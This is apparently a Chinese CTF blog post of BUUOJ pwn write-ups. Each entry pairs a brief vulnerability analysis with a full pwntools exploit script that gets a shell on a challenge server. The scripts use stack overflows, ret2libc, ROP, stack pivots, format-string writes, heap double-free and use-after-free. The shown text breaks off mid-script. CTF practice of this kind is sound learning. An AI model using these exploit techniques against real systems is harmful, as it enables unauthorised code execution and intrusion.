zoukankan      html  css  js  c++  java
  • BUUOJ做题记录-PWN(一)

    rip--简单Stack_overflow劫持程序流

    from pwn import *
    context(log_level='debug')
    p=remote('node3.buuoj.cn',25812)
    #p=process('./pwn1')
    #gdb.attach(p)
    ret_addr=0x0000000000401186
    offset=0xF+0x8
    ret=0x0000000000401016
    payload='a'*offset+p64(ret)+p64(ret_addr)
    #p.recvuntil("please input
    ")
    p.sendline(payload)
    p.interactive()
    

    warmup_csaw_2016--简单Stack_overflow劫持程序流

    from pwn import *
    context(log_level='debug')
    p=remote('node3.buuoj.cn',26027)
    p.recvuntil(">")
    ret_addr=0x000000000040060D
    payload='a'*0x48+p64(ret_addr)
    p.sendline(payload)
    p.interactive()
    

    pwn1_sctf_2016--简单Stack_overflow劫持程序流

    容易发现程序留有后门函数get_flag(),所以思路是实现栈溢出并将返回地址覆盖为后门函数

    但是程序控制了输入字符串的长度是31,同时replace()函数会查找input中的字符串’I‘将其替换成'you',利用这个特点绕过限制,exp:

    from pwn import *
    context(log_level='debug')
    p=remote('node3.buuoj.cn',29383)
    #p=process('./pwn1_sctf_2016')
    #p.recvuntil('Tell me something about yourself:')
    def sta_leak(str,ret_addr):
        return str+p32(ret_addr)
        #pd=str+p64(ret_addr)
    pd=sta_leak('I'*21+'a',0x08048F0D)
    p.sendline(pd)
    p.interactive()
    

    ciscn_2019_n_1--浮点数在内存中的存储

    exp:

    from pwn import *
    context(log_level='debug')
    p=remote('node3.buuoj.cn',28564)
    p.recvuntil("Let's guess the number.
    ")
    payload='a'*(0x30-0x4)+'x00x80x34x41'
    p.sendline(payload)
    p.interactive()
    

    ciscn_2019_c_1&ciscn_2019_en_2--简单ret2libc

    这两道题目是相同的,首先在ida中分析可以看到整个程序最关键的其实只有encrypt()加密函数,在这个函数中gets()漏洞函数提供了明显的栈溢出点,同时在尝试输入后可以发现只有前0x50个字节经过异或加密处理。因此通过泄露地址得到system()实际地址以getshell。

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug')
    p=remote('node3.buuoj.cn',29118)
    #p=process('./ciscn_2019_c_1')
    #gdb.attach(p)
    elf=ELF('./ciscn_2019_c_1')
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    ru("choice!
    ")
    sl('1')
    ru("encrypted
    ")
    pop_rdi_ret=0x400c83
    ret_addr=0x4009A0
    payload='a'*(0x50+0x8)
    payload+=p64(pop_rdi_ret)+p64(elf.got['__libc_start_main'])+p64(elf.plt['puts'])+p64(ret_addr)
    sl(payload)
    ru("
    ")
    ru("
    ")
    leak_addr=u64(p.recv(6).ljust(8,'x00'))
    print hex(leak_addr)
    libc=LibcSearcher('__libc_start_main',leak_addr)
    offset=leak_addr-libc.dump("__libc_start_main")
    sys_addr=offset+libc.dump("system")
    bin_sh=offset+libc.dump("str_bin_sh")
    ret=0x4006b9
    pd='a'*(0x50+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(sys_addr)
    ru("encrypted
    ")
    sl(pd)
    p.interactive()
    

    [OGeek2019]babyrop--简单rop

    IDA分析程序,先使用伪随机数生成器从文件中读入伪随机数,随后与我们的输入进行比较,但是使用了strlen()函数,我们可以通过'x00'进行截断,随后传出栈中的一个变量值作为返回值,我们可以通过read()函数将其覆盖,并作为接下来函数中read()函数的字节数。这样,得到栈溢出点,ret2libc进行rop,getshell:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    p=remote('node3.buuoj.cn',26255)
    #p=process('./pwn1')
    #gdb.attach(p)
    e=ELF("./pwn1")
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    pd='x00'+'xFF'*(0x2C-0x25+1)+'x00'
    sl(pd)
    pd='a'*(0xE7+0x4)+p32(e.plt['puts'])+p32(0x08048825)+p32(e.got['puts'])
    ru('Correct
    ')
    sl(pd)
    leak_addr=u32(p.recv(4))
    print hex(leak_addr)
    libc=LibcSearcher('puts',leak_addr)
    offset=leak_addr-libc.dump('puts')
    sys_addr=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    pd='x00'+'xFF'*(0x2C-0x25+1)+'x00'
    sl(pd)
    pd='a'*(0xE7+0x4)+p32(sys_addr)+p32(0)+p32(bin_sh)
    ru('Correct
    ')
    sl(pd)
    p.interactive()
    

    get_started_3dsctf_2016/not_the_same_3dsctf_2016

    IDA中分析程序很容易发现会有一个get_flag函数,本打算通过栈传递所需参数执行get_flag函数,但是远程无法实现。同时,程序中在gets()函数前没有执行其他任意函数,所以通过泄露libc中函数地址来getshell也无法实现。但是分析程序可以发现,程序中有很多函数,open/read/write/mprotect等等,所以有栈溢出点的情况下有很多尝试的方向,可以通过ROP结合orw来读取靶机中的flag.txt文件,也可以将shellcode注入bss段并通过mprotect修改权限后执行,exp:

    from pwn import *
    context(log_level='debug')
    
    p=remote('node3.buuoj.cn',26638)
    #p=process('./get_started_3dsctf_2016')
    #gdb.attach(p)
    e=ELF("./get_started_3dsctf_2016")
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)                 
    #ru("Qual a palavrinha magica? ")
    buf=0x080EBF80
    #这里为了保持栈平衡,需要在返回地址处将三个参数弹栈
    pop3_ret=0x080509a5
    #这里的偏移量是0x38,因为在IDA中可以看到在0处便是ret_addr位置,并不是通常的ebp
    pd='a'*0x38+p32(e.symbols['read'])+p32(pop3_ret)+p32(0)+p32(buf)+p32(0x10)
    pd+=p32(e.symbols['open'])+p32(pop3_ret)+p32(buf)+p32(0)+p32(0)
    pd+=p32(e.symbols['read'])+p32(pop3_ret)+p32(3)+p32(buf)+p32(0x30)
    pd+=p32(e.symbols['write'])+p32(pop3_ret)+p32(1)+p32(buf)+p32(0x30)
    sl(pd)
    sl("./flag.txtx00")
    sleep(1)
    p.interactive()
    

    第二道题目与这道题目类似,直接给出exp:

    from pwn import *
    context(log_level='debug')
    
    p=remote('node3.buuoj.cn',26368)
    #p=process('./not_the_same_3dsctf_2016')
    #gdb.attach(p)
    e=ELF("./not_the_same_3dsctf_2016")
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    #ru("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ")
    pop3_ret=0x0804f420
    buf=0x080ECA00
    pd='a'*0x2D+p32(e.symbols['read'])+p32(pop3_ret)+p32(0)+p32(buf)+p32(0x10)
    pd+=p32(e.symbols['open'])+p32(pop3_ret)+p32(buf)+p32(0)+p32(0)
    pd+=p32(e.symbols['read'])+p32(pop3_ret)+p32(3)+p32(buf)+p32(0x30)
    pd+=p32(e.symbols['write'])+p32(pop3_ret)+p32(1)+p32(buf)+p32(0x30)
    sl(pd)
    sl("./flag.txtx00")
    sleep(1)
    p.interactive()
    

    [第五空间2019 决赛]PWN5--简单格式化字符串漏洞

    程序开启了canary保护,且canary难以爆破,只有想办法绕过执行getshell代码的判断条件,发现程序中有格式化漏洞点printf(&buf),造成任意地址写,于是我们使用pwntools下的工具生成payload(偏移量为10,可通过调试,在printf(&buf)前下断点查看栈顶指针得到),向存储了随机数的地址unk_804C044处写入固定数,绕过判断。

    from pwn import *
    context(log_level='debug')
    
    p=remote('node3.buuoj.cn',25789)
    #p=process('./pwn2')
    #gdb.attach(p)
    e=ELF("./pwn2")
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    ru("your name:")
    pd=fmtstr_payload(10,{0x804C044:0x10})
    sl(pd)
    ru("your passwd:")
    sl("16")
    p.interactive()
    

    [Black Watch 入群题]PWN--简单stack_pivot

    程序有栈溢出点,但是只能溢出8字节,想到利用栈迁移,结合前面的程序中可以向bss段写入任意字符,我们先向bss段注入ROP链,然后劫持程序流泄露libc中函数地址从而getshell,exp:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug')
    
    p=remote('node3.buuoj.cn',25523)
    #p=process('./spwn')
    #gdb.attach(p)
    e=ELF("./spwn")
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    leave_ret=0x08048408
    buf=0x0804A300
    main=0x08048513
    ru("What is your name?")
    pd=p32(e.plt['write'])+p32(main)+p32(1)+p32(e.got['write'])+p32(0x4)
    sd(pd)
    ru("What do you want to say?")
    pd='a'*0x18+p32(buf-4)+p32(leave_ret)
    sd(pd)
    leak_addr=u32(p.recv(4))
    print hex(leak_addr)
    libc=LibcSearcher('write',leak_addr)
    offset=leak_addr-libc.dump('write')
    sys_addr=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    print hex(sys_addr)
    print hex(bin_sh)
    ru("What is your name?")
    pd=p32(sys_addr)+p32(0)+p32(bin_sh)
    sd(pd)
    ru("What do you want to say?")
    pd='a'*0x18+p32(buf-4)+p32(leave_ret)
    sd(pd)
    p.interactive()
    

    ciscn_2019_n_8--简单栈覆盖

    从下面程序的输出来看,可以猜测var数组中存储的是整型变量,所以var[13]前面应该需要填充4*13个字节,exp:

    from pwn import *
    context(log_level='debug')
    
    p=remote('node3.buuoj.cn',27212)
    #p=process('./ciscn_2019_n_8')
    #gdb.attach(p)
    e=ELF("./ciscn_2019_n_8")
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    pd='a'*0x34+'x11'
    ru("What's your name?
    ")
    sl(pd)
    p.interactive()
    

    gyctf_2020_borrowstack--简单栈迁移

    在IDA中分析程序,可以发现第一个read()限制了栈溢出字节,典型栈迁移的特征,随后可以向bss变量段注入,于是我们的思路是在bss上构造ROP链,利用两次leave_ret实现栈迁移,以执行我们的ROP链劫持程序流,exp如下:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='borrowstack'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',29785)
        e=ELF("./"+binary_name)
        #libc=ELF()
    
    #gdb.attach(p)
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    leave_ret=0x400699
    bss_start=0x601080
    pd='a'*0x60+p64(bss_start+0x60-8)+p64(leave_ret)
    sd(pd)
    ru("Done!You can check and use your borrow stack now!
    ")
    read_bss=0x400680
    pop_rdi_ret=0x400703
    pop_rbp_ret=0x400590
    pd='a'*0x60+p64(pop_rdi_ret)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(pop_rbp_ret)+p64(bss_start+0x60-8)+p64(read_bss)
    sd(pd)
    leak_addr=u64(p.recv(6).ljust(8,"x00"))
    libc=LibcSearcher('puts',leak_addr)
    offset=leak_addr-libc.dump('puts')
    sys_addr=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    ret=0x4004c9
    one_gadget=0x4526a+offset
    pd='a'*0x60+p64(one_gadget)
    sd(pd)
    p.interactive()
    

    这里有两个坑,记录一下:

    1.我们的ROP链应该距离bss_start有一定偏移量,否则无法正常泄露puts_got的地址

    2.得到libc偏移量后若直接system("/bin/sh"),则打不通,程序会在执行system函数中崩掉,所以我们去相应libc中找到合适的one_gadget

    babyheap_0ctf_2017--简单堆溢出利用fastbin double free

    分析程序,首先查看保护,发现所有保护全开,FULL RELRD 说明我们不能改写got表进行泄露,同时开启了ASLR.程序在一开始进行了内存映射操作,得到随即地址,分析Allocate()函数发现在这一随机地址上,每24个字节作为一个结构体,且申请内存的时候使用了calloc()函数,会自动在申请内存后进行清零,所以我们无法在double free small chunk后直接泄露地址,但是在开启随即地址化的情况下,调试可以发现我们allocate到的第一个chunk的起始地址最后12位都是0.接着分析Fill()函数发现可以向chunk块中写入任意size的内容,典型的堆溢出.接着,分析Free()函数发现没有UAF漏洞,无法利用,最后Dump函数会输出chunk中申请的size大小的内存内容.所以,综合来看我们可以利用堆溢出漏洞伪造fake chunk,结合fastbin double free实现多指针指向同一chunk块,从而泄露地址,覆盖malloc_hook地址来getshell,exp如下:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='babyheap'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',26728)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def alloc(size):
        sla("Command: ",'1')
        sla("Size: ",str(size))
        
    def fill(idx,content):
        sla("Command: ",'2')
        sla("Index: ",str(idx))
        sla("Size: ",str(len(content)))
        sla("Content: ",content)
    
    def free(idx):
        sla("Command: ",'3')
        sla("Index: ",str(idx))
    
    def dump(idx):
        sla("Command: ",'4')
        sla("Index: ",str(idx))
        ru("Content: 
    ")
    z('b *0x555555554dcc
    b *0x555555555022
    b *0x555555555113
    b *0x555555554F43')
    alloc(0x10)#0
    alloc(0x10)#1
    alloc(0x10)#2
    alloc(0x10)#3
    alloc(0x90)#4
    free(1)
    free(2)#2->fd=1
    fill(3,p64(0)*3+p64(0x21))
    fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+'x80')#2->fd=4
    alloc(0x10)#1->2
    alloc(0x10)#2->4
    alloc(0x60)#5
    fill(3,p64(0)*3+p64(0xa1))
    free(4)
    dump(2)
    leak_addr=u64(p.recv(8))
    print hex(leak_addr)
    offset=leak_addr-88-libc.sym['__malloc_hook']-0x10
    print hex(offset)
    alloc(0x60)#4
    alloc(0x60)#6
    alloc(0x60)#7
    free(6)
    free(7)
    fill(5,p64(0)*13+p64(0x71)+p64(0)*13+p64(0x71)+p64(offset+libc.sym['__malloc_hook']-35))
    alloc(0x60)#6->7
    alloc(0x60)#7->fake_chunk
    one_gadget=0x4526a
    fill(7,'a'*19+p64(offset+one_gadget))
    alloc(0x10)
    p.interactive()
    
    

    pwnable_hacknote

    分析程序,add()函数不存在堆溢出,delete()函数存在明显的UAF漏洞,print()函数可以帮助我们利用UAF漏洞,综合来看,这道题应该主要利用UAF漏洞即可,由于在add()函数中并没有对申请的content块的大小有所限制,所以暂时至少有两种思路可以泄露地址,其一:通过small chunk释放后加入unsorted bin,fd和bk指向main_arena泄露,其二:利用释放后没有将指针设为NULL的漏洞,构造两个指针指向同一个结构体和content的chunk块,覆盖content为got表地址泄露,泄露地址后利用UAF漏洞覆盖函数地址为system地址可以getshell,但是这里有一个麻烦:结构体中的函数的参数是函数地址本身,也就是说实际执行的system函数的参数是system函数地址,会导致失败,这里利用了Linux连续执行多条命令的知识点,我们可以利用||绕过前面的错误指令来继续执行正确的指令,exp:

    其一:

    from pwn import *
    context(log_level='debug',arch='i386')
    
    local=0
    binary_name='hacknote'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',25985)
        e=ELF("./"+binary_name)
        libc=ELF("./libc_32.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda : p.interactive()
    def add(size,content):
        sla("Your choice :",'1')
        sla("Note size :",str(size))
        sla("Content :",content)
        ru("Success !
    ")
    def dele(idx):
        sla("Your choice :",'2')
        sla("Index :",str(idx))
        ru("Success
    ")
    def show(idx):
        sla("Your choice :",'3')
        sla("Index :",str(idx))
    z('b *0x0804869A
    b *0x0804872C
    b *0x08048863
    b *0x08048879
    b *0x08048903
    ')
    add(0x90,'a')#0
    add(0x90,'a')#1
    dele(0)
    add(0x90,'')#2
    show(2)
    p.recv(4)
    leak_addr=u32(p.recv(4))
    print hex(leak_addr)
    offset=leak_addr-libc.sym['__malloc_hook']-0x18-48
    #add(0x90,'a')#3
    dele(0)
    dele(1)
    #one_gadget=0x5fbc6 
    sla("Your choice :",'1')
    sla("Note size :",str(0x8))
    ru("Content :")
    sd(p32(offset+libc.sym['system'])+'||$0')
    #add(0x8,p32(offset+libc.sym['system'])+'||$0')#4
    show(2)
    p.interactive()
    
    

    其二:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='i386')
    
    local=0
    binary_name='hacknote'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        #libc=e.libc
    else:
        p=remote('node3.buuoj.cn:',26000)
        e=ELF("./"+binary_name)
        #libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
        #libc=ELF("./libc_32.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda : p.interactive()
    def add(size,content):
        sla("Your choice :",'1')
        sla("Note size :",str(size))
        sla("Content :",content)
        ru("Success !
    ")
    def dele(idx):
        sla("Your choice :",'2')
        sla("Index :",str(idx))
        ru("Success
    ")
    def show(idx):
        sla("Your choice :",'3')
        sla("Index :",str(idx))
    #z('b *0x0804869A
    b *0x0804872C
    b *0x08048863
    b *0x08048879
    b *0x08048903
    ')
    add(0x10,'a')#0
    add(0x10,'a')#1
    dele(0)
    dele(1)
    sla("Your choice :",'1')
    sla("Note size :",str(0x8))
    ru("Content :")
    p.send(p32(0x0804862B)+p32(e.got['puts']))
    ru("Success !
    ")
    show(0)
    leak_addr=u32(p.recv(4))
    libc=LibcSearcher('puts',leak_addr)
    offset=leak_addr-libc.dump('puts')
    dele(2)
    sla("Your choice :",'1')
    sla("Note size :",str(0x8))
    ru("Content :")
    p.send(p32(offset+libc.dump('system'))+'||$0')
    ru("Success !
    ")
    #add(0x8,p32(offset+libc.sym['system'])+';shx00')#3
    sla("Your choice :",'3')
    ru("Index :")
    sd('0')
    p.interactive()
    
    

    [HarekazeCTF2019]baby_rop--简单ROP

    分析程序,发现程序中本身含有system函数,查找字符串可以看到有'/bin/sh'字符串,所以我们直接利用输入的栈溢出漏洞即可,exp:

    from pwn import *
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='babyrop2'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',29656)
        e=ELF("./"+binary_name)
        #libc=ELF()
        
    #gdb.attach(p)
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ru("What's your name? ")
    pop_rdi_ret=0x400683
    bin_sh=0x601048
    ret=0x400479
    pd='a'*(0x10+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(e.plt['system'])
    sl(pd)
    p.interactive()
    
    

    但是这道题目最后ls命令后不像通常一样在主目录下就有flag文件,我们使用find -name flag命令查找flag文件即可发现路径是:/home/babyrop/flag

    [HarekazeCTF2019]baby_rop2--简单ret2libc

    分析程序,发现明显可利用的栈溢出,利用printf()函数泄露已执行库函数的got表,随后是常见的ret2libc的套路,exp如下:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='babyrop2'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',27004)
        e=ELF("./"+binary_name)
        libc=ELF("./libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    z()
    ru("What's your name? ")
    pop_rdi_ret=0x400733
    pd='a'*(0x20+0x8)+p64(pop_rdi_ret)+p64(e.got['read'])+p64(e.plt['printf'])+p64(0x400636)
    sl(pd)
    ru("
    ")
    leak_addr=u64(p.recv(6).ljust(8,'x00'))
    offset=leak_addr-libc.sym['read']
    sys_addr=offset+libc.sym['system']
    bin_sh=offset+libc.search("/bin/sh").next()
    print hex(sys_addr)
    ru("What's your name? ")
    pd='a'*(0x20+0x8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(sys_addr)
    sl(pd)
    p.interactive()
    
    

    铁人三项(第五赛区)_2018_rop--简单rop2libc

    常见ret2libc套路,exp如下:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='i386')
    
    local=0
    binary_name='2018_rop'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',27645)
        e=ELF("./"+binary_name)
        #libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    
    pd='a'*(0x88+0x4)+p32(e.plt['write'])+p32(0x080484C6)+p32(1)+p32(e.got['write'])
    sl(pd)
    leak_addr=leak_address()
    print hex(leak_addr)
    libc=LibcSearcher('write',leak_addr)
    libc_base=leak_addr-libc.dump('write')
    sys_addr=libc_base+libc.dump('system')
    bin_sh=libc_base+libc.dump('str_bin_sh')
    ret=0x08048199
    pd='a'*(0x88+0x4)+p32(sys_addr)+p32(ret)+p32(bin_sh)
    sl(pd)
    p.interactive()
    
    

    bjdctf_2020_babystack--简单ROP劫持程序流

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    
    local=0
    binary_name='bjdctf_2020_babystack'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',29361)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    ru("[+]Please input the length of your name:
    ")
    sl(str(0xffff))
    pd='a'*(0x10+0x8)+p64(0x4006E6)
    sl(pd)
    p.interactive()
    
    

    pwn2_sctf_2016--整数溢出&ret2libc

    get_n函数中第二个参数是unsigned int类型,造成整数溢出,可以利用-1绕过限制,然后利用printf函数泄露got表的地址,ret2libc即可,exp如下:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='i386')
    
    local=1
    binary_name='pwn2_sctf_2016'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        #libc=e.libc
    else:
        p=remote('node3.buuoj.cn',29660)
        e=ELF("./"+binary_name)
        #libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    #z()
    ru("How many bytes do you want me to read? ")
    sl("-1")
    ru("bytes of data!
    ")
    #pd='/bin/sh;'+'a'*(0x2c+0x4-0x8)+p32(0x080484CD)
    #pd='a'*(0x2c+0x4)+p32(0x080484CD)
    main=0x080485B8
    pd='a'*(0x2c+0x4)+p32(e.plt['printf'])+p32(main)+p32(e.got['printf'])
    sl(pd)
    ru('
    ')
    leak_addr=leak_address()
    print hex(leak_addr)
    ru("How many bytes do you want me to read? ")
    sl("-1")
    ru("bytes of data!
    ")
    libc=LibcSearcher('printf',leak_addr)
    offset=leak_addr-libc.dump('printf')
    sys_addr=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    print hex(bin_sh)
    pop_ebx_ret=0x0804835d
    pd='a'*(0x2c+0x4)+p32(sys_addr)+'a'*4+p32(bin_sh)
    sl(pd)
    p.interactive()
    
    

    ciscn_2019_ne_5--stackoverflow&ret2text

    分析程序可以发现,在GetFlag()函数里会把src字符串的内容拷贝给dest,dest字符串空间比src要小,存在栈溢出点。同时,程序中有system()函数,需要直接利用plt表,exp如下:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='i386')
    
    local=0
    binary_name='ciscn_2019_ne_5'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',28107)
        e=ELF("./"+binary_name)
        #libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    z('b *0x080486c7
    ')
    ru("password:")
    sl("administrator")
    ru("0.Exit
    :")
    sl('1')
    ru("Please input new log info:")
    main=0x08048722
    pd='a'*(0x48+0x4)+p32(e.plt['puts'])+p32(0x08048722)+p32(e.got['printf'])
    sl(pd)
    ru("0.Exit
    :")
    sl('4')
    ru("
    ")
    leak_addr=leak_address()
    print hex(leak_addr)
    libc=LibcSearcher('printf',leak_addr)
    offset=leak_addr-libc.dump('printf')
    #sys_addr=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    #print hex(sys_addr)
    print hex(bin_sh)
    ru("password:")
    sl("administrator")
    ru("0.Exit
    :")
    sl('1')
    ru("Please input new log info:")
    ret=0x0804843e
    pd='a'*(0x48+0x4)+p32(e.plt['system'])+p32(main)+p32(bin_sh)
    sl(pd)
    ru("0.Exit
    :")
    sl('4')
    p.interactive()
    
    

    ez_pz_hackover_2016

    这道题IDA中vuln()函数中的偏移量应该是不准确的,我通过不断爆破的方式得到了正确的偏移量,并且采用了ret2libc而不是ret2shellcode的方法,exp如下:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='i386')
    
    local=0
    binary_name='ez_pz_hackover_2016'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',26167)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
    
    z()
    ru("Yippie, lets crash: ")
    leak_addr=int(p.recv(10),16)
    print hex(leak_addr)
    ru('> ')
    main=0x080486E2
    pd='crashmex00'+'a'*18+p32(e.plt['printf'])+p32(main)+p32(e.got['printf'])
    sl(pd)
    ru("crashme!
    ")
    leak_addr=leak_address()
    print hex(leak_addr)
    libc=LibcSearcher('printf',leak_addr)
    offset=leak_addr-libc.dump('printf')
    sys_addr=offset+libc.dump('system')
    bin_sh=offset+libc.dump('str_bin_sh')
    ru('> ')
    pd='crashmex00'+'a'*18+p32(sys_addr)+p32(main)+p32(bin_sh)
    sl(pd)
    p.interactive()
    
    

    babyfengshui_33c3_2016--堆溢出

    分析程序,寻找漏洞点,发现在防止堆溢出的判断上存在漏洞,判断条件默认了我们description的chunk和大小为0x80的chunk是物理相连的,我们只要释放低地址的chunk后,将desciprtion的chunk地址分配在低地址上就可以控制0x80大小chunk中user_data的前四个字节,即:&description,实现任意地址读写,将其修改成free()函数的got表地址,读可以泄露Libc,写可以劫持程序流getshell。这里还有一点需要注意的是,程序在向地址中进行写的时候会将'x0a'覆盖成结束符x00,所以在修改free()函数got表时,会多覆盖一个'x00',此时再选择其他操作程序便会跑崩掉,exp如下:

    from pwn import *
    from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='i386')
    
    local=1
    binary_name='babyfengshui_33c3_2016'
    if local:
        p=process("./"+binary_name)
        e=ELF("./"+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',28089)
        e=ELF("./"+binary_name)
        libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
    
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
